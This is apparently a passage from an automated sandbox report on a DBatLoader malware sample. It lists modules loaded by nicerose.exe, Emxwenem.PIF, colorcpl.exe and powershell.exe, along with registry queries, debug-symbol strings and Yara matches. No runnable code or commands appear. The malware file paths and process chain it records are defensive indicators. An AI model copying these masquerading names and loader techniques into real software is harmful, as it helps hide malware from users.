                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ??????????.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ??.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ??l.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ????.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ???e???????????.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ???e???????????.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ??l.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ??l.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: tquery.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: cryptdll.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: spp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: vssapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: vsstrace.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: spp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: vssapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: vsstrace.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: advapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: advapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: advapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: advapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: advapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: advapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: advapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: spp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: vssapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: vsstrace.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppwmi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: slc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppcext.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: winscard.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: devobj.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: colorui.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: mscms.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: coloradapterclient.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: version.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: olepro32.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: url.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieframe.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: netapi32.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: userenv.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: wkscli.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: netutils.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: amsi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winmm.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: wininet.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: wldp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: profapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieproxy.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieproxy.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieproxy.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: smartscreenps.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: smartscreenps.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: smartscreenps.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??????????.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??l.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ????.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ???e???????????.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ???e???????????.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??l.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??l.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: tquery.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: cryptdll.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: spp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vssapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vsstrace.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: spp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vssapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vsstrace.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: spp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vssapi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vsstrace.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppwmi.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: slc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppcext.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winscard.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: devobj.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: colorui.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: mscms.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: userenv.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: coloradapterclient.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: winmm.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: urlmon.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: iertutil.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: srvcli.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: netutils.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: wininet.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: kernel.appcore.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: version.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: uxtheme.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: olepro32.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: url.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieframe.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: iertutil.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: netapi32.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: userenv.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winhttp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: wkscli.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: netutils.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: amsi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winmm.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: wininet.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sspicli.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: windows.storage.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: wldp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: profapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: kernel.appcore.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ondemandconnroutehelper.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieproxy.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieproxy.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ieproxy.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: smartscreenps.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: smartscreenps.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: smartscreenps.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mswsock.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: iphlpapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winnsi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??????????.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??l.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ????.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ???e???????????.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ???e???????????.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??l.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: ??l.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: tquery.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: cryptdll.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: spp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vssapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vsstrace.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: spp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vssapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vsstrace.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: mssip32.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: endpointdlp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: advapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: spp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vssapi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: vsstrace.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppwmi.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: slc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppcext.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: winscard.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: devobj.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: cryptsp.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: rsaenh.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: cryptbase.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: msasn1.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Users\Public\Libraries\Emxwenem.PIFSection loaded: sppc.dll
                Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: colorui.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: mscms.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: userenv.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: coloradapterclient.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: winmm.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: urlmon.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: iertutil.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: srvcli.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: netutils.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: wininet.dll
                Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: kernel.appcore.dll
                Source: C:\Windows\SysWOW64\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2185510356.0000000007B60000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: Automation.pdb source: powershell.exe, 00000003.00000002.2179439784.000000000357C000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: $fq7C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.pdb source: powershell.exe, 00000003.00000002.2180154159.00000000057B2000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: easinvoker.pdb source: nicerose.exe, 00000006.00000002.2278201946.0000000020A26000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F110000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: easinvoker.pdbGCTL source: nicerose.exe, 00000006.00000003.2234608953.0000000021B12000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A26000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234608953.0000000021B41000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F110000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2358880867.0000000000604000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2358880867.0000000000633000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2441500027.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2441500027.00000000006B0000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: System.Managem..Automation.pdb source: powershell.exe, 00000003.00000002.2179439784.000000000357C000.00000004.00000020.00020000.00000000.sdmp

                Data Obfuscation

                barindex
                Yara detected DBatLoader
                Source: Yara matchFile source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000003.2160535830.000000007FB00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2252822108.0000000002256000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2287064849.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                PowerShell case anomaly found
